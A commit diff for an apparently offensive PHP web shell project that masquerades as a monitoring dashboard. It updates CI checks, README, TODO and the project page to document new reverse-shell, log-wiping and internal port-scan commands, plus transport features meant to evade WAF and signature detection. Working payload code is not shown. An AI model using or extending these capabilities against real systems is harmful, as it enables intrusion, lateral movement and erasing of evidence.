update docs, CI: revshell/clearlog/portscan, switch case count check

Author: franckferman

.github/workflows/ci.yml

@@ -130,6 +130,27 @@ jobs:
           done
           echo "RC4 transport: tEnc present, no plain param names."
 
+      - name: Verify all 7 switch cases are present
+        run: |
+          for f in /tmp/s1.php /tmp/s2.php /tmp/s3.php /tmp/s4.php /tmp/s5.php /tmp/s6.php /tmp/s7.php /tmp/s8.php /tmp/s9.php; do
+            count=$(grep -c "case '" "$f" || true)
+            if [ "$count" -ne 7 ]; then
+              echo "FAIL: expected 7 switch cases in $f, got $count"
+              exit 1
+            fi
+          done
+          echo "Switch case count verified (7 per shell)."
+
+      - name: Verify mimic transport excludes new plain param names
+        run: |
+          for param in ip port logfile pattern target ports; do
+            if grep -q "POST\['${param}'\]" /tmp/s6.php; then
+              echo "FAIL: plain param name '${param}' found in mimic shell"
+              exit 1
+            fi
+          done
+          echo "Mimic transport: no new plain param names found."
+
       - name: Verify bcrypt hash is present and valid
         run: |
           php -r "

README.md

@@ -78,12 +78,12 @@ flowchart LR
 | Communication | XOR+gzip+base64 in POST body, obfuscated header/footer | 3 modes: `plain` (cleartext), `mimic` (base64 + random param names), `rc4` (RC4 + per-build shuffled base64 alphabet) |
 | Interface | Python CLI client | Browser terminal — no tooling on operator machine |
 | Camouflage | Bare PHP snippet | Fake monitoring dashboard (3 themes) |
-| Modules | 30+ (reverse shell, SQL, net scan, proxy…) | Shell, upload, download, tab-complete |
+| Modules | 30+ (reverse shell, SQL, net scan, proxy…) | Shell, upload, download, tab-complete, reverse shell, log clearing, port scan |
 | Exec methods | 9 — `exec`, `shell_exec`, `system`, `passthru`, `popen`, `proc_open`, `pcntl_fork`, `python_eval`, `perl_system` — shuffled | 4–6 per build — `exec`, `shell_exec`, `system` always present; `passthru`, `popen`, `proc_open` randomly dropped (~30% each); weighted order (reliable methods tend first) |
 | `disable_functions` bypass | Yes — mod_cgi + `.htaccess` (Apache only, requires `AllowOverride` + write access) | No — not planned as a priority; the technique requires Apache + mod_cgi + AllowOverride + web-writable directory, which are rarely all met in prod |
-| Reverse shell | Yes | No (planned) |
-| Log clearing | Yes | No (planned) |
-| Port scan | Yes | No (planned) |
+| Reverse shell | Yes | Yes — `revshell <IP> <PORT>` (bash → python3 → perl → php, first available) |
+| Log clearing | Yes | Yes — `clearlog <file> <pattern>` strips matching lines in-place |
+| Port scan | Yes | Yes — `portscan <ip[-range]> <ports>` via fsockopen from the target host |
 | SQL console | Yes | No |
 
 **Use Weevely when**: you need CLI automation, module ecosystem (SQL, reverse shell, scan), or obfuscated HTTP transport matters more than visual camouflage.
@@ -374,6 +374,9 @@ Once deployed and authenticated, the shell supports:
 | `cd /path` | Change working directory (persisted across commands) |
 | `download /path/to/file` | Download file to browser |
 | `upload /remote/path` | Upload local file via browser dialog |
+| `revshell <IP> <PORT>` | Spawn reverse shell — tries bash, python3, perl, php in order (first available wins) |
+| `clearlog <file> <pattern>` | Strip lines matching `<pattern>` (case-insensitive regex) in-place from `<file>` |
+| `portscan <ip[-range]> <ports>` | TCP port scan from the target host — e.g. `portscan 10.0.0.1-254 22,80,443` or `portscan 10.0.0.5 20-25,80` |
 | `clear` | Clear terminal output |
 | `Tab` | Autocomplete files and commands |
 | `↑ / ↓` | Command history navigation |

TODO.md

@@ -3,9 +3,6 @@
 ## Planned
 
 - [ ] Obfuscated HTTP protocol — XOR+gzip+base64 for request and response payloads (à la Weevely), making POST body opaque to WAF inspection
-- [ ] Built-in reverse shell — `revshell <IP> <PORT>` command inside the terminal, multi-method (bash, python3, perl, php) with automatic fallback
-- [ ] Log clearing — `clearlog /var/log/apache2/access.log <pattern>` to strip matching lines in-place
-- [ ] Internal port scan — `portscan 10.0.0.1-254 22,80,443` for lateral movement recon from the target host
 
 ## Low priority / won't implement soon
 
@@ -24,3 +21,7 @@
 - [x] CI — polymorphism validation, bcrypt verification, PHP lint, static signature detection
 - [x] GitHub Releases — auto-generate 3 example shells (one per theme) on version tag push
 - [x] GitHub Pages — interactive command builder at franckferman.github.io/p0wnyShellX
+- [x] Built-in reverse shell — `revshell <IP> <PORT>` command, multi-method (bash, python3, perl, php) fallback chain
+- [x] Log clearing — `clearlog <file> <pattern>` strips matching lines in-place from any readable/writable file
+- [x] Internal port scan — `portscan <ip[-range]> <port[s]>` TCP scan via fsockopen from the target host
+- [x] UTF-8 output — `b64u()` helper using `decodeURIComponent(escape(atob(s)))` fixes mojibake on non-ASCII command output

docs/index.html

@@ -385,6 +385,13 @@ <h1 class="glitch" data-text="p0wnyShellX">p0wnyShellX</h1>
     <a class="lnk" href="https://github.com/franckferman/p0wnyShellX#readme" target="_blank" rel="noopener">Docs</a>
   </div>
 
+  <div style="margin:1.2rem auto 0;max-width:560px;border:1px solid #1c1c1c;border-radius:5px;padding:.7rem 1rem;font-size:.72rem;color:#555;line-height:1.7;letter-spacing:.03em;">
+    <span style="color:#2ecc71;font-weight:700;">Built-in shell commands</span><br>
+    <code style="color:#888;">revshell &lt;IP&gt; &lt;PORT&gt;</code> &mdash; reverse shell via bash / python3 / perl / php<br>
+    <code style="color:#888;">clearlog &lt;file&gt; &lt;pattern&gt;</code> &mdash; strip matching lines from a log in-place<br>
+    <code style="color:#888;">portscan &lt;ip[-range]&gt; &lt;ports&gt;</code> &mdash; TCP scan from the target host
+  </div>
+
 </div>
 
 <footer>